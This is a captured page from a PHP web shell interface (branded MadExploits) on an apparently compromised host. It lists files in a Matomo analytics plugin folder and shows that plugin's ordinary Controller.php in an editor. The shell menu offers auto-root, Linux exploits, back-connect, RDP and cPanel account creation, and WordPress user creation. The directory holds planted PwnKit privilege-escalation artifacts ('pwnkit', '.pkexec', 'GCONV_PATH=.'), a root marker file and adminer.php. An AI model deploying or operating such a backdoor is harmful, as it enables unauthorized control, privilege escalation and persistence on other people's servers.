Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.221
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
plugins /
Live /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Categories
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ProfileSummary
[ DIR ]
drwxr-xr-x
Reports
[ DIR ]
drwxr-xr-x
Visualizations
[ DIR ]
drwxr-xr-x
Widgets
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
javascripts
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
stylesheets
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
vue
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
API.php
16.3
KB
-rw-r--r--
Controller.php
9.77
KB
-rw-r--r--
Live.php
9.2
KB
-rw-r--r--
MeasurableSettings.php
2.02
KB
-rw-r--r--
Model.php
24.78
KB
-rw-r--r--
ProfileSummaryProvider.php
2.73
KB
-rw-r--r--
SystemSettings.php
1.71
KB
-rw-r--r--
Visitor.php
10.43
KB
-rw-r--r--
VisitorDetails.php
10.04
KB
-rw-r--r--
VisitorDetailsAbstract.php
8.81
KB
-rw-r--r--
VisitorFactory.php
1.57
KB
-rw-r--r--
VisitorInterface.php
382
B
-rw-r--r--
VisitorProfile.php
3.73
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Controller.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugins\Live; use Piwik\API\Request; use Piwik\Common; use Piwik\Config; use Piwik\Piwik; use Piwik\DataTable; use Piwik\Plugins\Live\Exception\MaxExecutionTimeExceededException; use Piwik\Plugins\Live\Visualizations\VisitorLog; use Piwik\Url; use Piwik\View; /** */ class Controller extends \Piwik\Plugin\Controller { const SIMPLE_VISIT_COUNT_WIDGET_LAST_MINUTES_CONFIG_KEY = 'live_widget_visitor_count_last_minutes'; private $profileSummaryProvider; public function __construct(ProfileSummaryProvider $profileSummaryProvider) { $this->profileSummaryProvider = $profileSummaryProvider; parent::__construct(); } function index() { return $this->widget(); } public function widget() { Piwik::checkUserHasViewAccess($this->idSite); Live::checkIsVisitorLogEnabled($this->idSite); $view = new View('@Live/index'); $view->idSite = $this->idSite; $view->isWidgetized = Common::getRequestVar('widget', 0, 'int'); $view = $this->setCounters($view); $view->liveRefreshAfterMs = (int)Config::getInstance()->General['live_widget_refresh_after_seconds'] * 1000; $view->visitors = $this->getLastVisitsStart(); $view->liveTokenAuth = Piwik::getCurrentUserTokenAuth(); return $this->render($view); } public function ajaxTotalVisitors() { Piwik::checkUserHasViewAccess($this->idSite); $view = new View('@Live/ajaxTotalVisitors'); $view = $this->setCounters($view); $view->idSite = $this->idSite; return $this->render($view); } private function render(View $view) { $rendered = $view->render(); return $rendered; } public function indexVisitorLog() { Piwik::checkUserHasViewAccess($this->idSite); Live::checkIsVisitorLogEnabled($this->idSite); $view = new View('@Live/indexVisitorLog.twig'); $view->visitorLog = $this->renderReport('getLastVisitsDetails'); return $view->render(); } /** * Widget */ public function getVisitorLog() { return $this->renderReport('getLastVisitsDetails'); } public function getLastVisitsStart() { Piwik::checkUserHasViewAccess($this->idSite); Live::checkIsVisitorLogEnabled($this->idSite); // hack, ensure we load today's visits by default $_GET['date'] = 'today'; \Piwik\Period\Factory::checkPeriodIsEnabled('day'); $_GET['period'] = 'day'; $view = new View('@Live/getLastVisitsStart'); $view->isProfileEnabled = Live::isVisitorProfileEnabled(); $view->idSite = (int) $this->idSite; $error = ''; $visitors = new DataTable(); try { $api = new Request("method=Live.getLastVisitsDetails&idSite={$this->idSite}&filter_limit=10&format=original&serialize=0&disable_generic_filters=1"); $visitors = $api->process(); } catch (\Exception $e) { $error = $e->getMessage(); } $view->error = $error; $view->visitors = $visitors; return $this->render($view); } private function setCounters($view) { $segment = Request::getRawSegmentFromRequest(); $executeTodayQuery = true; $view->countErrorToday = ''; $view->countErrorHalfHour = ''; try { $last30min = Request::processRequest('Live.getCounters', [ 'idSite' => $this->idSite, 'lastMinutes' => 30, 'segment' => $segment, 'showColumns' => 'visits,actions', ], $default = []); $last30min = $last30min[0]; } catch (MaxExecutionTimeExceededException $e) { $last30min = ['visits' => '-', 'actions' => '-']; $today = ['visits' => '-', 'actions' => '-']; $view->countErrorToday = $e->getMessage(); $view->countErrorHalfHour = $e->getMessage(); $executeTodayQuery = false; // if query for last 30 min failed, we also expect the 24 hour query to fail } try { if ($executeTodayQuery) { $today = Request::processRequest('Live.getCounters', [ 'idSite' => $this->idSite, 'lastMinutes' => 24 * 60, 'segment' => $segment, 'showColumns' => 'visits,actions', ], $default = []); $today = $today[0]; } } catch (MaxExecutionTimeExceededException $e) { $today = ['visits' => '-', 'actions' => '-']; $view->countErrorToday = $e->getMessage(); } $view->visitorsCountHalfHour = $last30min['visits']; $view->visitorsCountToday = $today['visits']; $view->pisHalfhour = $last30min['actions']; $view->pisToday = $today['actions']; return $view; } /** * Echo's HTML for visitor profile popup. */ public function getVisitorProfilePopup() { Piwik::checkUserHasViewAccess($this->idSite); Live::checkIsVisitorProfileEnabled($this->idSite); $visitorData = Request::processRequest('Live.getVisitorProfile'); if (empty($visitorData)) { throw new \Exception('Visitor could not be found'); // for example when URL parameter is not set } VisitorLog::groupActionsByPageviewId($visitorData['lastVisits']); $view = new View('@Live/getVisitorProfilePopup.twig'); $view->idSite = $this->idSite; $view->goals = Request::processRequest('Goals.getGoals', ['idSite' => $this->idSite, 'filter_limit' => '-1'], $default = []); $view->visitorData = $visitorData; $view->exportLink = $this->getVisitorProfileExportLink(); $this->setWidgetizedVisitorProfileUrl($view); $summaryEntries = array(); $profileSummaries = $this->profileSummaryProvider->getAllInstances(); foreach ($profileSummaries as $profileSummary) { $profileSummary->setProfile($view->visitorData); $summaryEntries[] = [$profileSummary->getOrder(), $profileSummary->render()]; } usort($summaryEntries, function($a, $b) { return version_compare($a[0], $b[0]); }); $summary = ''; foreach ($summaryEntries AS $summaryEntry) { $summary .= $summaryEntry[1]; } $view->profileSummary = $summary; return $view->render(); } public function getVisitList() { $this->checkSitePermission(); Piwik::checkUserHasViewAccess($this->idSite); $filterLimit = Common::getRequestVar('filter_offset', 0, 'int'); $startCounter = Common::getRequestVar('start_number', 0, 'int'); $limit = Config::getInstance()->General['live_visitor_profile_max_visits_to_aggregate']; if ($startCounter >= $limit) { return ''; // do not return more visits than configured for profile } $nextVisits = Request::processRequest('Live.getLastVisitsDetails', array( 'segment' => Live::getSegmentWithVisitorId(), 'filter_limit' => VisitorProfile::VISITOR_PROFILE_MAX_VISITS_TO_SHOW, 'filter_offset' => $filterLimit, 'period' => false, 'date' => false )); if (empty($nextVisits)) { return ''; } VisitorLog::groupActionsByPageviewId($nextVisits); $view = new View('@Live/getVisitList.twig'); $view->idSite = $this->idSite; $view->startCounter = $startCounter < $nextVisits->getRowsCount() ? $nextVisits->getRowsCount() : $startCounter; $view->visits = $nextVisits; return $view->render(); } private function getVisitorProfileExportLink() { return Url::getCurrentQueryStringWithParametersModified(array( 'module' => 'API', 'action' => 'index', 'method' => 'Live.getVisitorProfile', 'format' => 'XML', 'expanded' => 1 )); } private function setWidgetizedVisitorProfileUrl($view) { if (\Piwik\Plugin\Manager::getInstance()->isPluginLoaded('Widgetize')) { $view->widgetizedLink = Url::getCurrentQueryStringWithParametersModified(array( 'module' => 'Widgetize', 'action' => 'iframe', 'moduleToWidgetize' => 'Live', 'actionToWidgetize' => 'getVisitorProfilePopup' )); } } }
Close